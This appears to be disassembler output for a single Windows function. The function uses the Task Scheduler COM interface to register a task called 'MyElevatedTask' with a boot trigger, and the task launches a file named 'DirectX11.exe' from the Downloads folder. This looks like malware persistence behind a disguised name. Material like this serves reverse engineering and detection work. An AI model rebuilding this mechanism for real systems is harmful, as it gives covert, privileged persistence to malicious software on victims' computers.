Function at 0x140002060
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push rsi
lea rbp, [rsp - 0x708]
sub rsp, 0x808
mov rax, qword [0x14003c040]
xor rax, rsp
mov qword [rbp + 0x6f0], rax
lea rcx, str.ole32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
jne 0x1400020bb
lea rdx, str.Failed_to_load_ole32.dll
lea rcx, [0x14003d6b0]
call fcn.140002fa0
mov rcx, rax
call fcn.140003250
lea eax, [rsi - 0x64]
jmp 0x140002b78
mov qword [rsp + 0x820], rbx
lea rdx, str.CoInitializeEx
mov qword [rsp + 0x828], rdi
mov rcx, rsi
mov qword [rsp + 0x830], r14
mov qword [rsp + 0x800], r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CoInitializeSecurity
mov rcx, rsi
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CoCreateInstance
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CoUninitialize
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test r15, r15
je 0x140002b38
test rbx, rbx
je 0x140002b38
test rdi, rdi
je 0x140002b38
test rax, rax
je 0x140002b38
xor edx, edx
xor ecx, ecx
call r15
test eax, eax
jns 0x140002184
lea rdx, str.p_CoInitializeEx_failed
lea rcx, [0x14003d6b0]
call fcn.140002fa0
mov rcx, rax
call fcn.140003250
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 0xffffffff
jmp 0x140002b58
xor r15d, r15d
xor r9d, r9d
mov qword [rsp + 0x40], r15
xor r8d, r8d
mov dword [rsp + 0x38], r15d
xor ecx, ecx
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 3
lea edx, [r15 - 1]
mov dword [rsp + 0x20], 6
call rbx
test eax, eax
jns 0x1400021e8
lea rdx, str.p_CoInitializeSecurity_failed
lea rcx, [0x14003d6b0]
call fcn.140002fa0
mov rcx, rax
call fcn.140003250
call r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [r15 - 2]
jmp 0x140002b58
xor edx, edx
mov qword [rbp - 0x30], r15
lea rax, [rbp - 0x30]
lea r9, [0x14002c8e0]
mov qword [rsp + 0x20], rax
lea rcx, [0x14002c900]
lea r8d, [rdx + 1]
call rdi
test eax, eax
jns 0x140002240
lea rdx, str.p_CoCreateInstance_failed
lea rcx, [0x14003d6b0]
call fcn.140002fa0
mov rcx, rax
call fcn.140003250
call r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 0xfffffffd
jmp 0x140002b58
lea rcx, [rbp + 0x30]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
movsd xmm0, qword [rbp + 0x40]
lea rdx, [rbp - 0x50]
mov rcx, qword [rbp - 0x30]
lea r9, [rsp + 0x50]
mov word [rbp + 0x30], r15w
lea r8, [rsp + 0x70]
movups xmm1, xmmword [rbp + 0x30]
mov qword [rsp + 0x20], rdx
lea rdx, [rbp - 0x70]
mov rax, qword [rcx]
movaps xmmword [rbp - 0x50], xmm1
movsd qword [rbp - 0x40], xmm0
movaps xmmword [rsp + 0x50], xmm1
movsd qword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x70], xmm1
movsd qword [rbp - 0x80], xmm0
movaps xmmword [rbp - 0x70], xmm1
movsd qword [rbp - 0x60], xmm0
call qword [rax + 0x50]
lea rcx, [rbp + 0x30]
mov ebx, eax
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
test ebx, ebx
jns 0x1400022eb
lea rdx, str.pService__Connect_failed
lea rcx, [0x14003d6b0]
call fcn.140002fa0
mov rcx, rax
call fcn.140003250
mov rcx, qword [rbp - 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
call r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 0xfffffffc
jmp 0x140002b58
lea rcx, [0x1400360b4]
mov qword [rbp - 0x20], r15
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rcx, qword [rbp - 0x30]
lea r8, [rbp - 0x20]
mov rdx, rax
mov rdi, rax
mov r9, qword [rcx]
call qword [r9 + 0x38]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
test ebx, ebx
jns 0x14000235b
lea rdx, str.pService__GetFolder_failed
lea rcx, [0x14003d6b0]
call fcn.140002fa0
mov rcx, rax
call fcn.140003250
mov rcx, qword [rbp - 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
call r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 0xfffffffb
jmp 0x140002b58
mov rcx, qword [rbp - 0x30]
lea r8, [rbp - 0x28]
mov qword [rbp - 0x28], r15
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x48]
test eax, eax
jns 0x1400023b8
lea rdx, str.pService__NewTask_failed
lea rcx, [0x14003d6b0]
call fcn.140002fa0
mov rcx, rax
call fcn.140003250
mov rcx, qword [rbp - 0x20]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
call r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 0xfffffffa
jmp 0x140002b58
mov rcx, qword [rbp - 0x28]
lea rdx, [rbp - 0x18]
mov qword [rbp - 0x18], r15
mov rax, qword [rcx]
call qword [rax + 0x38]
test eax, eax
jns 0x14000241d
lea rdx, str.pTask__get_RegistrationInfo_failed
lea rcx, [0x14003d6b0]
call fcn.140002fa0
mov rcx, rax
call fcn.140003250
mov rcx, qword [rbp - 0x28]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x20]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
call r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 0xfffffff9
jmp 0x140002b58
lea rcx, str.Author
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rcx, qword [rbp - 0x18]
mov rdx, rax
mov rbx, rax
mov r8, qword [rcx]
call qword [r8 + 0x50]
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp - 0x28]
lea rdx, [rbp - 0x10]
mov qword [rbp - 0x10], r15
mov rax, qword [rcx]
call qword [rax + 0x58]
test eax, eax
jns 0x1400024b3
lea rdx, str.pTask__get_Settings_failed
lea rcx, [0x14003d6b0]
call fcn.140002fa0
mov rcx, rax
call fcn.140003250
mov rcx, qword [rbp - 0x18]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x28]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x20]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
call r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 0xfffffff8
jmp 0x140002b58
mov rcx, qword [rbp - 0x10]
mov edx, 0xffffffff
mov rax, qword [rcx]
call qword [rax + 0xb0]
mov rcx, qword [rbp - 0x28]
lea rdx, [rbp - 8]
mov qword [rbp - 8], r15
mov rax, qword [rcx]
call qword [rax + 0x48]
test eax, eax
jns 0x14000253e
lea rdx, str.pTask__get_Triggers_failed
lea rcx, [0x14003d6b0]
call fcn.140002fa0
mov rcx, rax
call fcn.140003250
mov rcx, qword [rbp - 0x10]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x28]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x20]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
call r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 0xfffffff7
jmp 0x140002b58
mov rcx, qword [rbp - 8]
lea r8, [rbp]
mov qword [rbp], r15
mov edx, 8
mov rax, qword [rcx]
call qword [rax + 0x50]
test eax, eax
jns 0x1400025c6
lea rdx, str.pTriggerCollection__Create_failed
lea rcx, [0x14003d6b0]
call fcn.140002fa0
mov rcx, rax
call fcn.140003250
mov rcx, qword [rbp - 8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x28]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x20]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
call r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 0xfffffff6
jmp 0x140002b58
mov rcx, qword [rbp]
lea r8, [rbp + 8]
mov qword [rbp + 8], r15
lea rdx, [0x14002c8f0]
mov rax, qword [rcx]
call qword [rax]
test eax, eax
jns 0x140002659
lea rdx, str.pTrigger__QueryInterface_failed
lea rcx, [0x14003d6b0]
call fcn.140002fa0
mov rcx, rax
call fcn.140003250
mov rcx, qword [rbp]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x28]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x20]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
call r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 0xfffffff5
jmp 0x140002b58
lea rcx, str.BootTrigger1
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rcx, qword [rbp + 8]
mov rdx, rax
mov rbx, rax
mov r8, qword [rcx]
call qword [r8 + 0x48]
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp - 0x28]
lea rdx, [rbp + 0x10]
mov qword [rbp + 0x10], r15
mov rax, qword [rcx]
call qword [rax + 0x88]
test eax, eax
jns 0x14000271e
lea rdx, str.pTask_get_Actions_failed
lea rcx, [0x14003d6b0]
call fcn.140002fa0
mov rcx, rax
call fcn.140003250
mov rcx, qword [rbp + 8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x28]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x20]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
call r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 0xfffffff4
jmp 0x140002b58
mov rcx, qword [rbp + 0x10]
lea r8, [rbp + 0x18]
mov qword [rbp + 0x18], r15
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x60]
test eax, eax
jns 0x1400027c5
lea rdx, str.pActionCollection__Create_failed
lea rcx, [0x14003d6b0]
call fcn.140002fa0
mov rcx, rax
call fcn.140003250
mov rcx, qword [rbp + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x28]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x20]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
call r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 0xfffffff3
jmp 0x140002b58
mov rcx, qword [rbp + 0x18]
lea r8, [rbp + 0x20]
mov qword [rbp + 0x20], r15
lea rdx, str.MbLk
mov rax, qword [rcx]
call qword [rax]
test eax, eax
jns 0x14000287a
lea rdx, str.pAction__QueryInterface_failed
lea rcx, [0x14003d6b0]
call fcn.140002fa0
mov rcx, rax
call fcn.140003250
mov rcx, qword [rbp + 0x18]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x28]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x20]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
call r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 0xfffffff2
jmp 0x140002b58
lea rcx, str.Shell32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
jne 0x1400028b2
lea rdx, str.Failed_to_load_hShell32
lea rcx, [0x14003d6b0]
call fcn.140002fa0
mov rcx, rax
call fcn.140003250
lea eax, [rbx - 0x64]
jmp 0x140002b58
lea rdx, str.SHGetFolderPathW
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x1400028d3
lea rdx, str.Failed_to_GetProcAddress_hShell32
jmp 0x140002b3f
xor r9d, r9d
lea rcx, [rbp + 0x60]
mov qword [rsp + 0x20], rcx
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x28]
call rax
lea r8, [rbp + 0x60]
mov edx, 0x23a
lea rcx, [rbp + 0x270]
call fcn.140014cec
lea r8, str.DownloadsDirectX11.exe
mov edx, 0x23a
lea rcx, [rbp + 0x270]
call fcn.140014d54
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rcx, [rbp + 0x270]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rcx, qword [rbp + 0x20]
mov rdx, rax
mov rbx, rax
mov r8, qword [rcx]
call qword [r8 + 0x58]
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
lea rcx, [rbp + 0x48]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
lea rcx, str.MyElevatedTask
mov word [rbp + 0x48], r15w
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
movups xmm1, xmmword [rbp + 0x48]
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp - 0x20]
movsd xmm0, qword [rbp + 0x58]
mov rdi, rax
mov r8, qword [rbp - 0x28]
mov r9d, 6
mov qword [rsp + 0x40], rdx
lea rdx, [rbp - 0x70]
mov qword [rsp + 0x38], rdx
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x30], 3
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 0x50]
mov qword [rbp + 0x28], r15
mov rax, qword [rcx]
mov qword [rsp + 0x20], rdx
mov rdx, rdi
movaps xmmword [rbp - 0x70], xmm1
movsd qword [rbp - 0x60], xmm0
movaps xmmword [rsp + 0x70], xmm1
movsd qword [rbp - 0x80], xmm0
movaps xmmword [rsp + 0x50], xmm1
movsd qword [rsp + 0x60], xmm0
call qword [rax + 0x88]
lea rcx, [rbp + 0x48]
mov ebx, eax
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
mov rcx, rdi
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
test ebx, ebx
jns 0x140002a95
lea rdx, str.pRootFolder__RegisterTaskDefinition_failed
lea rcx, [0x14003d6b0]
call fcn.140002fa0
mov rcx, rax
call fcn.140003250
mov rcx, qword [rbp + 0x20]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x18]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x28]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x20]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
call r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 0xfffffff1
jmp 0x140002b58
lea rdx, str.Task_successfully_registered_
lea rcx, [0x14003d3e0]
call fcn.140002fa0
mov rcx, rax
call fcn.140003250
mov rcx, qword [rbp + 0x28]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x20]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x18]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x28]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x20]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
call r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
jmp 0x140002b58
lea rdx, str.Failed_to_GetProcAddress_hOle32
lea rcx, [0x14003d6b0]
call fcn.140002fa0
mov rcx, rax
call fcn.140003250
mov eax, 0xffffff9b
mov r14, qword [rsp + 0x830]
mov rdi, qword [rsp + 0x828]
mov rbx, qword [rsp + 0x820]
mov r15, qword [rsp + 0x800]
mov rcx, qword [rbp + 0x6f0]
xor rcx, rsp
call fcn.14000aaa0
add rsp, 0x808
pop rsi
pop rbp
ret